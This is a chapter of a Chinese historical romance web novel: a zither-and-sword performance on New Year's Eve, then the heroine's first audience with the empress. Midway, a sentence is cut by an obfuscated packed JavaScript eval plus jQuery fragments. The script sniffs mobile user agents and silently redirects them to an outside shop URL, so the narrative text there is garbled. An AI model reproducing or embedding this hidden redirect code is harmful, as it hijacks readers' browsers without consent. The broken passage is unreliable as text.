姚知韫坐在筝前，手指轻轻搭在琴弦上，众人安静下来，除了小桃常常听她弹琴外，这里怕是没人听她弹过琴。


    她深吸一口气，手腕微沉。


    “铮——！”


    一串急促的刮奏如刀光剑影，瞬间划破夜的寂静。紧接着，那熟悉的旋律倾泻而出，铿锵有力，带着江湖的快意恩仇。


    姚知韫低着头，手指在琴弦上翻飞如蝶。那平日里看着温温柔柔的一双手，此刻却像化作利剑，扫弦、轮指、刮奏，一气呵成。琴声越来越急，越来越烈，仿佛有看不见的刀光在她指尖飞舞。


    霍抉坐在一旁，目光定定地落在她身上。


    他见过她温柔的样子，娇嗔的样子，为玉米出芽而欢呼雀跃的样子。可此刻的她，眉眼间带着一股从未见过的英气，那双手在琴弦上翻飞，像是要把所有的肆意都倾泻而出。


    这就是他的妻子。


    温婉如水，也能如刀如剑。


    霍抉不知何时手中多了一柄长剑，剑身在火光中泛着寒光，映着他沉静的脸。


    琴声陡然一转，节奏加快。


    然后，霍抉动了。


    起势，剑尖斜指地面。随着第一个重音落下，他手腕一抖，剑身在空气中划出一道弧线，发出清越的剑鸣。


    琴声越来越急。


    他的剑也越来越快。


    每一式都与琴声完美契合，仿佛那曲子本就是为他而作。宽大的衣袍在风中翻飞，剑光流转间，他的身影时而如蛟龙出海，时而如孤鹤临风。


    吴稚跃手里的酒杯顿在半空，瞪大了眼睛，这曲子，他没听过，可这样的霍抉他也没见过。


    他认识霍抉这么多年，见过他在沙场上杀伐决断，见过他在朝堂上运筹帷幄，却从未见过他这样——像一柄出鞘的剑，锋芒毕露，却又带着一种说不出的孤寂。


    琴声转缓，如泣如诉。


    霍抉的剑也慢了下来。剑尖在空中缓缓划过，留下一道银色的光痕。他的目光落在姚知韫身上，随着她的节奏，一步，一步，像是在诉说什么说不出口的话。


    姚知韫没有抬头，可她的手指却仿佛感知到了他的动作，琴声与剑光交织在一起，缠绵悱恻。


    忽然，琴声再转，急如骤雨。


    霍抉凌空跃起，一剑刺出，剑光如虹。他落地的瞬间，剑身一抖，挽出三朵剑花，银光点点，如梦如幻。


    最后一个音符落下。


    剑尖稳稳停在半空，纹丝不动。


    满院寂静。


    火光摇曳，照在两人身上。她坐在筝前，他持剑而立，目光穿过夜色，穿过火光，穿过满院的寂静，落在彼此身上。


    良久，吴稚跃“啪”的一声放下酒杯。


    “好！！！”


    掌声雷动。


    可霍抉谁也没看，只是缓缓收剑，走到姚知韫身边，俯下身子低声问道：“这曲子叫什么？”


    姚知韫抬起头，对上他的眼睛，弯了弯唇角。


    “刀剑如梦，”她说。


    他伸出手，轻轻握住了她的手，刀剑如梦，江湖如梦，而此刻，是真真切切的人间烟火。


    众人尚未从那首激昂的曲子里缓过神来，远处传来浑厚的钟声，“咚——”的一下，沉沉地压过来，穿过夜色，穿过院墙，落在每个人心上。


    子时了，新年到了。


    林叔笑着点燃一支火把，双手递到霍抉面前，霍抉接过火把，高高举起，扯开嗓子喊了一声：“熰岁喽。”声音高亢，说不出的开阔。


    他扬手一抛，火把落入那堆早已码好的松柏枝中。松柏枝遇火便燃，“噼噼啪啪”的声音瞬间响起。火苗舔着底层的枝丫，腾地一下蹿得老高，照亮了整座院子。


    火光映在每个人脸上，红通通的，暖洋洋的。松柏的香气混着年夜饭的余味，混着爆竹的火药味，混着满院的笑声，成了这个除夕夜最难忘的味道。


    钟声还在响，一声接着一声，沉沉稳稳，不急不缓，永安寺的钟声要敲108下。


    姚知韫侧过身，看着身边被火光映得眉眼柔和的人，轻声说：


    “沉舟，新年好。”


    霍抉低头看她，眼底映着跳动的火焰。


    “新年好。”


    他端起酒杯，高高举起，对着满院子的人，对着那堆烧得正旺的松柏火，对着远处还在回响的钟声，扬声道：


    “新年好——”


    众人纷纷举杯，此起彼伏的祝福声混着松柏的噼啪声，飘向除夕的夜空。


    吴稚跃仰头饮尽杯中酒，笑着嚷道：“这一杯，敬沉舟，敬弟妹，敬这好日子！”


    沈知节也难得露出笑意，举杯一饮而尽。


    常嬷嬷带着丫鬟们在一旁笑着，小桃和芙蓉早已红了脸，不知是酒意还是这满院的暖意。


    松柏火烧得正旺，钟声已歇，可那余韵似乎还在耳边回荡。


    霍抉揽着姚知韫的肩，低头看她。她的脸红扑扑的，不知是被火光映的，还是喝了酒的缘故。


    “困不困？”他轻声问。


    姚知韫摇摇头，靠在他肩上，眼睛却望着那堆火，望着满院子的人，望着这个她从未敢奢望的团圆夜。


    除旧迎新，一切都是新的开始。


    五更时分，姚知韫与霍抉便起床更衣，外面还黑着，已能听到隐隐传来零星的爆竹声。


    霍抉穿上公服，绯袍玉带，威仪赫赫。姚知韫也换上一品诰命的礼服，层层叠叠穿在身上，比平日重了几分，却也多了几分郑重。


    两人先在院中设下香案，焚香敬天，又祭拜了姚父姚母的牌位。一切礼毕，林叔递上一挂长长的爆竹，霍抉亲手点燃，噼里啪啦的响声划破夜空，惊起栖在槐树上的寒鸦。


    吃过元婆婆准备的饺子，霍抉便要携姚知韫进宫朝贺，封印前霍抉本是以新婚为由，请求皇上免去姚知韫入宫事宜，谁料皇后却说想见见这位十四岁的一品诰命，皇上也不好驳了皇后的面子，霍抉也不好再推辞。


    姚知韫便只能随着霍抉一起进宫。


    还是那道宫门，也还是那条长长的路，只是到了那个开阔的广场前，两人便要分开了，霍抉去了太和殿，而姚知韫则被内侍领着朝着后宫的方向而去。


    姚知韫一路低着头，脑海中反复闪着常嬷嬷出门前的叮嘱。


    宫中以承乾宫为界，北边是后宫区域，正中的便是坤宁宫，是皇后的正宫，整个后宫布局以中轴线为基准，东西两侧分布着十二座宫院，俗称东六宫和西六宫。


    而贵妃所住的德仪宫位于东六宫之首，离着坤宁宫不远。


    姚知韫不动声色地抬头看向西边，那边便是寿昌宫了，西六宫之首，规制与德仪宫相同。


    她跟着内侍，穿过一道又一道宫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400850|195694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门，走过一条又一条长巷，天色渐渐亮了，晨光给重重殿宇镀上一层淡金色。


    坤宁宫在望。


    殿前广场上，已有不少命妇候着。衣香鬓影，珠翠环绕，按品级排列，鸦雀无声。姚知韫被引至自己的位置——一品侯夫人，班次靠前，能清楚看见坤宁宫正殿那紧闭的朱红大门。


    她按着常嬷嬷教过的规矩，微微垂首，目光落在自己脚尖前三寸处，一动不动，安安静静地站着。


    头一回参加这样的朝贺，心里难免忐忑，这可不是彩排，错了可以重来，这万一要是错了，小了丢了霍抉的体面，说大了可是会丢了性命的。


    正想着，身后忽然传来一声极轻的呼唤：“韫儿——”


    姚知韫微微一怔，忍不住微微侧头，余光一瞥，在隔着一个人的位置上，竟是王夫人，她身着深青色霞帔，冠上五翟微颤，金坠低垂，竟是格外的亲切。


    她心中一松，险些忍不住开口，可规矩不许，她只能忍着，依旧垂首静立，可方才那点忐忑，不知不觉间竟消散了大半。


    王夫人仿佛感应到她的目光，轻轻咳了一声，像是在说：我在呢，别怕。


    姚知韫唇角微微弯了弯，随即抿住，恢复了那副端庄恭谨的模样。


    司宾女官的声音响起：


    “众命妇就位——”


    姚知韫随着众人，按品级依次入殿。殿内开阔，金龙和玺彩画在梁枋间熠熠生辉。她按常嬷嬷教过的规矩，目不斜视，只盯着前方命妇的背影，一步一步，走到自己的拜位。


    “跪——”


    众人齐齐跪下。


    “一叩首——”


    俯身，叩首，起身。


    “再叩首——”


    俯身，叩首，起身。


    “三叩首——”


    俯身，叩首，起身。


    四拜礼毕，殿内寂静无声。


    司宾女官引班首命妇出列，进贺笺。那班首是某位国公夫人，跪于殿中，朗声道：


    “妾等兹遇履端之节，敬诣皇后殿下称贺。”


    姚知韫光张嘴不发声，跟着做就好，反正那么多人，也不会有人发现。


    皇后端坐于御座之上，微微颔首。司言女官出列，立于露台上，宣皇后旨意：


    “履端之庆，与夫人等同之。”


    众命妇再行四拜礼。


    乐声再起，礼毕。


    整个过程中，姚知韫始终垂着眼，按部就班地行礼、起身、再行礼。那身一品诰命的礼服虽重，此刻却让她觉得安稳——层层叠叠的规制里，她只是一个循规蹈矩的命妇，没有人会多看她一眼。


    尚仪跪奏礼毕，皇后起身，还宫。


    大朝贺礼毕，众命妇鱼贯而出。姚知韫正欲随众人离开，一名女官悄然走到姚知韫身边，低声道：“霍夫人请留步，皇后娘娘有请。”


    姚知韫心中一紧，面上却不动声色，侧头看了一眼王夫人，便随着女官往东侧殿走去。东侧殿静悄悄的，已有几位命妇，只是她也不认识，便只是微微颔首，女官引着她在位置上坐下，奉上茶水，但常嬷嬷说过，这个只是摆设，不宜饮用。


    只是她这个十四岁的一品侯夫人，还是引来了众人审视的目光，她只能垂首低眉，当他们不存在。


    约莫一盏茶的工夫，司言女官掀帘而入：“皇后娘娘宣霍夫人入见。”